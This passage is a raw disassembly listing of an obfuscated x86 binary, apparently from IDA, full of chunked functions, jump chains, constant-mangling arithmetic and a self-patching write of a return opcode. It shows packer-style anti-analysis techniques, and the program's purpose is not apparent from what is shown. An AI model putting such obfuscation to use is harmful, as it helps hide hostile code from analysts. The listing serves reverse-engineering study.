; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_440DC5:				; CODE XREF: sub_44B20C:loc_43EB87j
					; sub_43B400:loc_442430j
		mov	al, [eax]
		sub	al, 99h
		mov	edx, ds:dword_445F74
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_43E731
		jmp	loc_44A2A2
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4458AD

loc_440DDE:				; CODE XREF: sub_4458AD-9617j
		or	edi, 1EFB653Ch
		xor	edi, 7A67FF45h
		or	edi, 2EF19DEAh
		rol	edi, 1

loc_440DF2:				; CODE XREF: sub_43F039:loc_441479j
		add	edi, 0A05038BEh
		push	offset loc_43C502
		jmp	loc_43CE57
; END OF FUNCTION CHUNK	FOR sub_4458AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_440E02:				; CODE XREF: sub_43B0B7-3C3Dj
		mov	ebp, esi
		pop	esi

locret_440E05:				; CODE XREF: kgbikm34:loc_44D5C9j
		retn
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_440E06:				; CODE XREF: sub_441819:loc_4461C5j
					; sub_439609:loc_44843Fj
		jmp	loc_448AFF
; END OF FUNCTION CHUNK	FOR sub_439609

; =============== S U B	R O U T	I N E =======================================



sub_440E0B	proc near		; CODE XREF: sub_43B0B7-3C47p
					; sub_44B829+7j

; FUNCTION CHUNK AT 00439DAE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043B348 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043B659 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B70E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D362 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043D3AC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043DB1D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E432 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044003C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440F48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442646 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004437F8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00445339 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044770C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004483CE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449325 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449A66 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044AC4A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AE06 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044BA17 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CCAA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044CD37 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044D076 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D755 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044DDFB SIZE 00000017 BYTES

		push	eax
		call	sub_43E6EF

loc_440E11:				; CODE XREF: sub_43F3F8:loc_43E875j
		mov	al, [eax]
		jno	loc_44D755
		sub	al, 99h

loc_440E1B:				; CODE XREF: kgbikm34:loc_44497Dj
		push	917F9F1Dh
		pop	edx

loc_440E21:				; CODE XREF: kgbikm34:00443B97j
		xor	edx, 22EDC460h
		jmp	loc_44DDFB
sub_440E0B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F6D0

loc_440E2C:				; CODE XREF: sub_43F6D0j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+0]
		jmp	loc_43B209
; END OF FUNCTION CHUNK	FOR sub_43F6D0

; =============== S U B	R O U T	I N E =======================================



sub_440E3B	proc near		; CODE XREF: sub_439B82:loc_43F1F6p
					; kgbikm34:00448713j
		xchg	edi, [esp+0]
		pop	edi
		push	eax
		ror	eax, 0Fh
		mov	ds:dword_43BD90, eax
		retn
sub_440E3B	endp

; ---------------------------------------------------------------------------

loc_440E4A:				; CODE XREF: kgbikm34:0043C6FDj
		rol	eax, 0Fh
		jmp	loc_43E21F

; =============== S U B	R O U T	I N E =======================================



sub_440E52	proc near		; CODE XREF: kgbikm34:loc_43DC00j
					; kgbikm34:0043F44Cj ...

; FUNCTION CHUNK AT 00445A52 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	byte ptr [eax],	0C3h
		jmp	loc_445A52
sub_440E52	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	nullsub_15
		jmp	ds:dword_41E0C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CF08

loc_440E69:				; CODE XREF: sub_44CF08+13j
		jmp	loc_44505F
; END OF FUNCTION CHUNK	FOR sub_44CF08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A6A

loc_440E6E:				; CODE XREF: sub_437A6A+FD26j
		jmp	loc_43CEF1
; END OF FUNCTION CHUNK	FOR sub_437A6A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		call	sub_444051

loc_440E79:				; CODE XREF: kgbikm34:loc_44683Bj
					; kgbikm34:00446856j
		rol	edi, 1Ch
		xor	edi, 7EDA4F34h
		or	edi, 2D91D272h
		add	edi, 51A330E6h
		add	edi, ebp
		jmp	loc_43E9DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A179

loc_440E95:				; CODE XREF: sub_43A179+BC34j
		add	edx, 0EBC2FC96h
		xchg	edx, [esp-4+arg_0]
		jmp	loc_442E8D
; END OF FUNCTION CHUNK	FOR sub_43A179
; ---------------------------------------------------------------------------

loc_440EA3:				; CODE XREF: kgbikm34:0044930Bj
		jnz	loc_43CC2C

loc_440EA9:				; CODE XREF: kgbikm34:0043964Ej
		jmp	loc_4479E7
; ---------------------------------------------------------------------------
		mov	[edi], esi
		jmp	loc_43CC24
; ---------------------------------------------------------------------------
		and	edi, esi
		jmp	loc_44404B
; ---------------------------------------------------------------------------

loc_440EBC:				; CODE XREF: kgbikm34:004490CEj
		and	ebx, edi
		jmp	loc_43B79F
; ---------------------------------------------------------------------------
		call	sub_440EC9
		retn

; =============== S U B	R O U T	I N E =======================================



sub_440EC9	proc near		; CODE XREF: kgbikm34:00440EC3p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044BA6E SIZE 0000000F BYTES

		push	edx
		mov	edx, ebp
		jmp	loc_44BA6E
sub_440EC9	endp

; ---------------------------------------------------------------------------
		add	edi, edx
		jmp	sub_43A374
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_440ED8:				; CODE XREF: sub_43B932+36Fj
		add	edi, ebx
		xor	edx, eax
		popf
		jns	loc_43FC74
		sub	ecx, edi
		jmp	loc_4485F9
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446F8

loc_440EEA:				; CODE XREF: sub_4446F8-1D74j
		jz	loc_4449EF
		mov	edx, 0D3E8372Eh
		jmp	loc_4466C8
; END OF FUNCTION CHUNK	FOR sub_4446F8

; =============== S U B	R O U T	I N E =======================================



sub_440EFA	proc near		; CODE XREF: sub_43F0A5:loc_43C52Ep
					; kgbikm34:00441C0Dj

; FUNCTION CHUNK AT 0043999B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F451 SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	0C0B04B02h
		pop	eax
		sub	eax, 0B3E13966h
		add	eax, 8D9AB3A1h
		add	eax, ebp
		jmp	loc_43999B
sub_440EFA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_440F17	proc near		; CODE XREF: kgbikm34:0043CDB1j
					; sub_44CABC:loc_445A76p

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	eax, [esp-4+arg_0]
		mov	edi, eax
		push	offset sub_43A46F
		jmp	nullsub_310
sub_440F17	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_440F2A:				; CODE XREF: sub_43C167+Fj
		jnz	loc_440033
		jmp	loc_442929
; END OF FUNCTION CHUNK	FOR sub_43C167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_440F35:				; CODE XREF: sub_43EAEE+DCE1j
		mov	ds:dword_440F44, edx
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_440F3B:				; CODE XREF: sub_43BF6F+5696j
					; sub_43BF6F+E99Fj
		xchg	eax, edx
		call	sub_4487F2
		retn
; END OF FUNCTION CHUNK	FOR sub_43BF6F
; ---------------------------------------------------------------------------
		dw 0AB0h
dword_440F44	dd 77E60000h		; DATA XREF: sub_43EAEE:loc_440F35w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_440F48:				; CODE XREF: sub_440E0B+AC12j
		jmp	loc_439DAE
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
		db 16h,	0D0h, 26h
dword_440F50	dd 4E92512Dh, 23661351h, 0B136C8E2h, 6835E900h ; DATA XREF: sub_438796+1o
					; sub_449D78-2CE5o
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_440F62	proc near		; CODE XREF: sub_43F524:loc_437976j
					; sub_439A2E-1086j ...

; FUNCTION CHUNK AT 0043A535 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B202 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0043C2E7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043E2C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FDDB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00444094 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004453D7 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00449A98 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A37D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044C72B SIZE 0000001C BYTES

		jnz	loc_43C2E7
		push	0CB757B8Ch
		jmp	loc_43A535
sub_440F62	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_440F72:				; CODE XREF: kgbikm34:0044E168j
		jnp	nullsub_50

; =============== S U B	R O U T	I N E =======================================



sub_440F78	proc near		; CODE XREF: sub_43AC6D+7p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437A1D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438B7B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043A0D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DB64 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043FA09 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044566A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CD8E SIZE 00000010 BYTES

		xchg	esi, [esp-4+arg_0]
		pop	esi
		push	edx
		call	sub_44824C
		mov	eax, 729645CDh
		call	sub_4400C7
		mov	ds:off_41E040, eax
		jmp	loc_438B7B
sub_440F78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_440F97:				; CODE XREF: kgbikm34:0043C279j
		not	esi

; =============== S U B	R O U T	I N E =======================================



sub_440F99	proc near		; CODE XREF: sub_43C2DA:loc_44A844p

; FUNCTION CHUNK AT 0043A5D7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00440019 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044ABB1 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_43ACD5
		jmp	loc_44ABB1
sub_440F99	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_440FA7:				; CODE XREF: sub_43BCAD+125CAj
		jz	loc_438F9A

loc_440FAD:				; CODE XREF: sub_44826A+10j
		jmp	loc_446ED3
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------

loc_440FB2:				; CODE XREF: kgbikm34:004433ACj
		jmp	loc_43D5CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_440FB7:				; CODE XREF: sub_439BDE+113Dj
		jmp	loc_442FF7
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
		sub	ebp, 11D56D23h
		or	esi, 74793674h
		and	esi, 0C96BBBF7h
		not	ebx
		jmp	loc_438F94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446C8B

loc_440FD5:				; CODE XREF: sub_446C8B:loc_4417E6j
		call	sub_440FF4
		mov	ds:dword_43E238, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_446C8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441086

loc_440FE0:				; CODE XREF: sub_441086+6108j
		jmp	loc_446B66
; END OF FUNCTION CHUNK	FOR sub_441086
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444C8C

loc_440FE5:				; CODE XREF: sub_444C8C-492Cj
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_444C8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C56B

loc_440FEA:				; CODE XREF: sub_43C56B+1354j
		jmp	sub_43D019
; END OF FUNCTION CHUNK	FOR sub_43C56B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ABF4

loc_440FEF:				; CODE XREF: sub_43ABF4+Dj
					; sub_43BCC7:loc_447241j
		jmp	loc_443294
; END OF FUNCTION CHUNK	FOR sub_43ABF4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440FF4	proc near		; CODE XREF: sub_43B400:loc_43E727p
					; sub_440501+13p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043DE75 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00446C3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448BBF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B470 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044DC42 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044DE2A SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_44DE2A
sub_440FF4	endp

; ---------------------------------------------------------------------------

loc_440FFC:				; CODE XREF: kgbikm34:00446D50j
		jnz	loc_44C4C3

; =============== S U B	R O U T	I N E =======================================



sub_441002	proc near		; CODE XREF: kgbikm34:004391B2p
		xchg	eax, [esp+0]
		pop	eax
		push	eax
sub_441002	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_441007:				; CODE XREF: sub_439BDE:loc_449426j
		jmp	loc_439142
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_44100C:				; CODE XREF: sub_440380-42BFj
		jl	loc_43DA98

loc_441012:				; CODE XREF: kgbikm34:004449DFj
		jmp	loc_44A5C6
; END OF FUNCTION CHUNK	FOR sub_440380
; ---------------------------------------------------------------------------
		and	ebp, edx
		shr	ecx, 1Bh
		jmp	loc_44AB16
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 0CF85h
dword_441024	dd 0			; DATA XREF: sub_4407E7:loc_437859r
					; sub_43DC42-1654w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_441028:				; CODE XREF: sub_43DFE5+9B9Bj
		jmp	loc_44D76E
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------

loc_44102D:				; CODE XREF: kgbikm34:0043ADCAj
		jmp	sub_4400C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_441032:				; CODE XREF: sub_43D494-30D0j
		jmp	loc_440B54
; ---------------------------------------------------------------------------

loc_441037:				; CODE XREF: sub_43D494-40D4j
		jmp	loc_43FF11
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_44103C:				; CODE XREF: kgbikm34:0044A696j
		push	ebx
		push	34EBE85Bh
		pop	ebx
		and	ebx, 0A6677EB2h
		jmp	loc_448F90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB9F

loc_44104E:				; CODE XREF: sub_44BB9F-442Cj
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_448733
		jmp	loc_4403E2
; END OF FUNCTION CHUNK	FOR sub_44BB9F
; ---------------------------------------------------------------------------
		add	eax, 0B6DD3154h
		sub	ecx, edi
		jmp	sub_4400D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481BC

loc_44106B:				; CODE XREF: sub_4481BC-AADAj
		add	eax, 11E3F451h
		xchg	eax, [esp+0]
		jmp	loc_4456EA
; END OF FUNCTION CHUNK	FOR sub_4481BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B5BA

loc_441079:				; CODE XREF: sub_43B5BA+861Fj
		push	edx
		push	edx
		push	71F6D0D4h
		pop	edx
		jmp	loc_43FE98
; END OF FUNCTION CHUNK	FOR sub_43B5BA

; =============== S U B	R O U T	I N E =======================================



sub_441086	proc near		; CODE XREF: sub_4471D6-FD7Fp
					; kgbikm34:0044867Fj

; FUNCTION CHUNK AT 00440FE0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446B6C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00447175 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00448D1F SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0044A6B8 SIZE 00000013 BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_447175
sub_441086	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441093	proc near		; CODE XREF: sub_4471D6:loc_437452p
		push	ebp
		mov	ebp, esp
		push	offset sub_448546
		jmp	nullsub_267
sub_441093	endp

; ---------------------------------------------------------------------------

loc_4410A0:				; CODE XREF: kgbikm34:0044C9FEj
		xor	edi, 31AA31E7h
		and	edi, 3CA41FEAh
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_4410AC:				; CODE XREF: sub_43D494+65F7j
		add	edi, 0F39FF6D1h
		xchg	edi, [esp+4+var_4]
		jmp	loc_44025C
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
		xchg	edx, esi
		sbb	ebx, edx
		jmp	sub_43C332
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_4410C3:				; CODE XREF: sub_440443:loc_43C4F1j
		call	sub_445D55
		push	0A9B233A0h
		xchg	ebx, [esp+10h+var_10]
		mov	eax, ebx

loc_4410D2:				; CODE XREF: kgbikm34:004443B2j
		pop	ebx
		rol	eax, 4
		or	eax, 0BE0CC03Ch
		cmp	eax, 727730CBh
		jmp	loc_43E456
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_4410E7:				; CODE XREF: sub_43C55C-3D36j
		mov	ebx, edx
		call	sub_44B558

loc_4410EE:				; CODE XREF: kgbikm34:0044CF70j
		jmp	nullsub_6
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------

loc_4410F3:				; CODE XREF: kgbikm34:00440BF4j
		jmp	loc_4441DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_4410F8:				; CODE XREF: sub_43F524:loc_443346j
		push	0FE43841Bh
		pop	eax
		sub	eax, 83F4AE62h
		or	eax, 9A34B6DFh
		add	eax, 5810829h
		push	offset loc_44DED3
		jmp	loc_449B35
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4466A3

loc_44111A:				; CODE XREF: sub_4466A3+562Dj
		sbb	ecx, ebp

loc_44111C:				; CODE XREF: sub_4466A3:loc_4386D7j
		push	eax
		push	0DC80D3AEh
		pop	eax
		sub	eax, 0AD56F678h
		xor	eax, 0FD05AC13h
		add	eax, 2E17D6B4h
		jmp	loc_43D2C6
; END OF FUNCTION CHUNK	FOR sub_4466A3
; ---------------------------------------------------------------------------

loc_44113A:				; CODE XREF: kgbikm34:loc_449212j
		xor	edx, 78FD86B3h
		add	edx, 96A99571h
		xchg	edx, [esp]
		jmp	sub_43BF6F
; ---------------------------------------------------------------------------

loc_44114E:				; CODE XREF: kgbikm34:0044AB8Aj
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_44114F	proc near		; CODE XREF: sub_445A5E+4955p

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004373E2 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00437AA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AAD4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043B07A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043B2AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B4C6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043C813 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CC72 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043D336 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043E0A0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00440207 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440C18 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004417D6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00441EF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044235E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00442D48 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004436C7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004436FB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00443893 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00443D69 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00443F23 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444588 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445156 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00445FD0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447A97 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044821B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004486FE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00448FA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448FCF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044AD60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B365 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044B6AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BDDA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044C01B SIZE 00000014 BYTES

		xchg	eax, [esp+0]
		pop	eax
		sub	al, 99h
		push	5DAC413Ah
		pop	edx
		jmp	loc_44C01B
sub_44114F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_441160:				; CODE XREF: sub_4429A6-A2FCj
		add	ecx, 0C0559640h
		push	edi
		pushf

loc_441168:				; CODE XREF: sub_4429A6:loc_448AB3j
		mov	eax, [esp+0]
		call	sub_43E8DA

loc_441170:				; CODE XREF: sub_448897+4C9Ej
		jmp	loc_4426E4
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449CB4

loc_441175:				; CODE XREF: sub_449CB4+11j
		jmp	loc_4489E2
; END OF FUNCTION CHUNK	FOR sub_449CB4
; ---------------------------------------------------------------------------

loc_44117A:				; CODE XREF: kgbikm34:00444E8Bj
		jmp	locret_4390A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4A3

loc_44117F:				; CODE XREF: sub_43A4A3:loc_43D233j
		jz	loc_4434E6
		jmp	loc_43769F
; END OF FUNCTION CHUNK	FOR sub_43A4A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D71B

loc_44118A:				; CODE XREF: sub_44D71B-D594j
		mov	eax, [ebp-4]
		mov	[ebp-8], eax

loc_441190:				; CODE XREF: sub_44D71B-D59Aj
		call	sub_44B641
		mov	[ebp-0Ah], al

loc_441198:				; CODE XREF: sub_43CC43+E9F9j
		push	offset sub_44DE70
		jmp	loc_43A628
; END OF FUNCTION CHUNK	FOR sub_44D71B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_4411A2:				; CODE XREF: sub_449F77-118B5j
		mov	ecx, [ebp+0]
		jmp	loc_43C9AA
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------

loc_4411AA:				; CODE XREF: kgbikm34:loc_43B2A4j
					; kgbikm34:0044DECEj
		add	esi, 3A5C6374h
		popf
		xchg	esi, [esp]
		jmp	loc_44C454
; ---------------------------------------------------------------------------
		shr	eax, 0Dh
		adc	edx, 45E72BABh
		jmp	sub_44E1B2
; ---------------------------------------------------------------------------

locret_4411C7:				; CODE XREF: kgbikm34:loc_44984Aj
		retn
; ---------------------------------------------------------------------------
		popf
		jnp	loc_441587
		jmp	sub_4395BB
; ---------------------------------------------------------------------------
		push	edi
		push	0D883AD10h
		pop	edi
		add	edi, 0B4000695h
		rol	edi, 12h
		jmp	loc_447FAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_4411E9:				; CODE XREF: sub_43B932:loc_43C0DFj
		or	eax, 83537A99h
		add	eax, 7CC48238h
		xchg	eax, [esp+4+var_4]
		jmp	sub_43E4C0
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44661D

loc_4411FD:				; CODE XREF: sub_44661D+4j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		push	offset loc_440423
		jmp	nullsub_83
; END OF FUNCTION CHUNK	FOR sub_44661D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0FB8112C1h, 94259556h, 0FF8C15E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA61

loc_44121D:				; CODE XREF: sub_44CA61-1663j
		pop	edx
		jge	loc_44307F

loc_441224:				; CODE XREF: sub_44CA61:loc_44B3F5j
		sub	esi, 60CEB1FEh
		test	esi, 1
		jmp	loc_44091D
; END OF FUNCTION CHUNK	FOR sub_44CA61
; ---------------------------------------------------------------------------
		sub	edx, eax
		jmp	sub_441DDE
; ---------------------------------------------------------------------------

loc_44123C:				; DATA XREF: sub_44B11E+3o
		xchg	ebp, [esp]
		push	9914AD1Eh
		pop	edi
		sub	edi, 0FF3DE384h
		js	loc_43C520
; START	OF FUNCTION CHUNK FOR sub_44725C

loc_441251:				; CODE XREF: sub_44725C+14j
		jmp	sub_4407A7
; END OF FUNCTION CHUNK	FOR sub_44725C
; ---------------------------------------------------------------------------
		mov	eax, edi
		jmp	loc_43C51B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B47A

loc_44125D:				; CODE XREF: sub_44B47A:loc_43FAEEj
		mov	[ebp+0], ecx
		jmp	loc_43DD14
; END OF FUNCTION CHUNK	FOR sub_44B47A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_441266:				; CODE XREF: sub_43F4C9:loc_44B187j
		jmp	loc_446182
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; ---------------------------------------------------------------------------

loc_44126B:				; CODE XREF: kgbikm34:0043F709j
		jmp	loc_44768E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DE2F

loc_441270:				; CODE XREF: sub_44DE2F-10023j
		jmp	nullsub_279
; END OF FUNCTION CHUNK	FOR sub_44DE2F
; ---------------------------------------------------------------------------

loc_441275:				; CODE XREF: kgbikm34:0043D10Fj
		jmp	sub_43C267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_44127A:				; CODE XREF: sub_43CAB5-1056j
		jmp	loc_44732A
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------
		mov	ds:dword_41E114, eax
		push	offset sub_44588F
		jmp	loc_43C412
; ---------------------------------------------------------------------------

loc_44128F:				; CODE XREF: kgbikm34:0043B7E9j
		xchg	edi, [esp]
		mov	ebx, edi
		or	edi, ecx
		jmp	loc_449AF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

